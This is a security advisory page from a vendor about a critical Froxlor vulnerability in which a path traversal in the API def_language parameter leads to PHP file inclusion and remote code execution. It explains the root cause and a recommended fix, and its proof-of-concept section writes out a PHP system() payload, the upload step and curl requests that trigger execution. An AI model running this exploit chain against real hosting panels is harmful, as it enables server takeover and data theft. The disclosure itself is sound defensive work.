Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐘
🐘 Packagist
Not in CISA KEV
CRITICAL severity

GHSA-w59f-67xm-rxx7 froxlor/froxlor

CRITICALFix: froxlor/froxlor@bc5e6db

GHSA-w59f-67xm-rxx7 is a critical-severity (CVSS 9.9) CWE-98 vulnerability in froxlor/froxlor. A fix is available for froxlor/froxlor — see the affected versions and patch details below.

Froxlor has Local File Inclusion via path traversal in API `def_language` parameter leads to Remote Code Execution

Also known asCVE-2026-41228
Published
Apr 16, 2026
Updated
May 5, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 19, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for GHSA-w59f-67xm-rxx7.

EPSS Exploitation Probability

via FIRST.org ↗
0.5%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs43th percentile — riskier than 43% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

GHSA-w59f-67xm-rxx7 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 377,166 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected
🐘froxlor/froxlor

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The Froxlor API endpoint Customers.update (and Admins.update) does not validate the def_language parameter against the list of available language files. An authenticated customer can set def_language to a path traversal payload (e.g., ../../../../../var/customers/webs/customer1/evil), which is stored in the database. On subsequent requests, Language::loadLanguage() constructs a file path using this value and executes it via require, achieving arbitrary PHP code execution as the web server user.

Details

Root cause: The API and web UI have inconsistent validation for the def_language parameter.

The web UI (customer_index.php:261, admin_index.php:265) correctly validates def_language against Language::getLanguages(), which scans the lng/ directory for actual language files:

// customer_index.php:260-265
$def_language = Validate::validate(Request::post('def_language'), 'default language');
if (isset($languages[$def_language])) {
    Customers::getLocal($userinfo, [
        'id' => $userinfo['customerid'],
        'def_language' => $def_language
    ])->update();

The API (Customers.php:1207, Admins.php:600) only runs Validate::validate() with the default regex /^[^\r\n\t\f\0]*$/D, which permits path traversal sequences:

// Customers.php:1167-1172 (customer branch)
} else {
    // allowed parameters
    $def_language = $this->getParam('def_language', true, $result['def_language']);
    ...
}
// Customers.php:1207 - validation (shared by admin and customer paths)
$def_language = Validate::validate($def_language, 'default language', '', '', [], true);

The tainted value is stored in the panel_customers (or panel_admins) table. On every subsequent request, it is loaded and used in two paths:

API path (ApiCommand.php:218-222):

private function initLang()
{
    Language::setLanguage(Settings::Get('panel.standardlanguage'));
    if ($this->getUserDetail('language') !== null && isset(Language::getLanguages()[$this->getUserDetail('language')])) {
        Language::setLanguage($this->getUserDetail('language'));
    } elseif ($this->getUserDetail('def_language') !== null) {
        Language::setLanguage($this->getUserDetail('def_language')); // No validation
    }
}

Web path (init.php:180-185):

if (CurrentUser::hasSession()) {
    if (!empty(CurrentUser::getField('language')) && isset(Language::getLanguages()[CurrentUser::getField('language')])) {
        Language::setLanguage(CurrentUser::getField('language'));
    } else {
        Language::setLanguage(CurrentUser::getField('def_language')); // No validation
    }
}

The language session field is null for API requests and empty on fresh web logins, so both paths fall through to the unvalidated def_language.

File inclusion (Language.php:89-98):

private static function loadLanguage($iso): array
{
    $languageFile = dirname(__DIR__, 2) . sprintf('/lng/%s.lng.php', $iso);
    if (!file_exists($languageFile)) {
        return [];
    }
    $lng = require $languageFile;  // Arbitrary PHP execution

With $iso = '../../../../../var/customers/webs/customer1/evil', the path resolves to /var/customers/webs/customer1/evil.lng.php, escaping the lng/ directory.

PoC

Step 1 — Upload malicious language file via FTP:

Froxlor customers have FTP access to their web directory by default (api_allowed defaults to 1 in the schema).

# Create malicious .lng.php file
echo '<?php system("id > /tmp/pwned"); return [];' > evil.lng.php

# Upload to customer web directory via FTP
ftp panel.example.com
> put evil.lng.php

The file is now at /var/customers/webs/<loginname>/evil.lng.php.

Step 2 — Set traversal payload via API:

curl -s -X POST https://panel.example.com/api \
  -H 'Authorization: Basic <base64(apikey:apisecret)>' \
  -d '{"command":"Customers.update","params":{"def_language":"../../../../../var/customers/webs/customer1/evil"}}'

The traversal path is stored in the database. The .lng.php suffix is appended automatically by Language::loadLanguage().

Step 3 — Trigger inclusion on next API call:

curl -s -X POST https://panel.example.com/api \
  -H 'Authorization: Basic <base64(apikey:apisecret)>' \
  -d '{"command":"Customers.get"}'

ApiCommand::initLang() loads def_language from the database and passes it to Language::setLanguage()loadLanguage()require /var/customers/webs/customer1/evil.lng.php.

Step 4 — Verify execution:

cat /tmp/pwned
# Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)

Impact

An authenticated customer can execute arbitrary PHP code as the web server user. This enables:

  • Full server compromise: Read lib/userdata.inc.php to obtain database credentials, then access all customer data, admin credentials, and server configuration.
  • Lateral movement: Access other customers' databases, email, and files from the shared hosting environment.
  • Persistent backdoor: Modify Froxlor source files or cron configurations to maintain access.
  • Data exfiltration: Read all hosted databases and email content across the panel.

The attack is practical because Froxlor is a hosting panel where customers have FTP access by default, and API access is enabled by default (api_allowed = 1). The .lng.php suffix constraint is not a meaningful barrier since the attacker controls file creation in their web directory.

Recommended Fix

Validate def_language against the actual language file list in the API endpoints, matching the web UI behavior:

// In Customers.php, replace line 1207:
// $def_language = Validate::validate($def_language, 'default language', '', '', [], true);

// With:
$def_language = Validate::validate($def_language, 'default language', '', '', [], true);
if (!empty($def_language) && !isset(Language::getLanguages()[$def_language])) {
    $def_language = Settings::Get('panel.standardlanguage');
}

Apply the same fix in Admins.php at line 600.

Additionally, add a defensive check in Language::loadLanguage() to prevent path traversal:

private static function loadLanguage($iso): array
{
    // Reject path traversal attempts
    if ($iso !== basename($iso) || str_contains($iso, '..')) {
        return [];
    }
    $languageFile = dirname(__DIR__, 2) . sprintf('/lng/%s.lng.php', $iso);
    // ...
}

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐘Packagistfroxlor/froxlorall versions2.3.6composer require froxlor/froxlor:^2.3.6

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for froxlor/froxlor, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update froxlor/froxlor to 2.3.6 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-w59f-67xm-rxx7 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-w59f-67xm-rxx7 can be triaged on real exposure rather than presence alone.

Tailored to GHSA-w59f-67xm-rxx7. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary The Froxlor API endpoint `Customers.update` (and `Admins.update`) does not validate the `def_language` parameter against the list of available language files. An authenticated customer can set `def_language` to a path traversal payload (e.g., `../../../../../var/customers/webs/customer1/evil`), which is stored in the database. On subsequent requests, `Language::loadLanguage()` constructs a file path using this value and executes it via `require`, achieving arbitrary PHP code execution as the web server user. ## Details **Root cause:** The API and web UI have inconsistent validati
O3 Security · Impact-Aware SCA

Is GHSA-w59f-67xm-rxx7 in your dependencies?

O3 Security finds GHSA-w59f-67xm-rxx7 across Packagist dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

GHSA-w59f-67xm-rxx7: froxlor/froxlor | O3 Security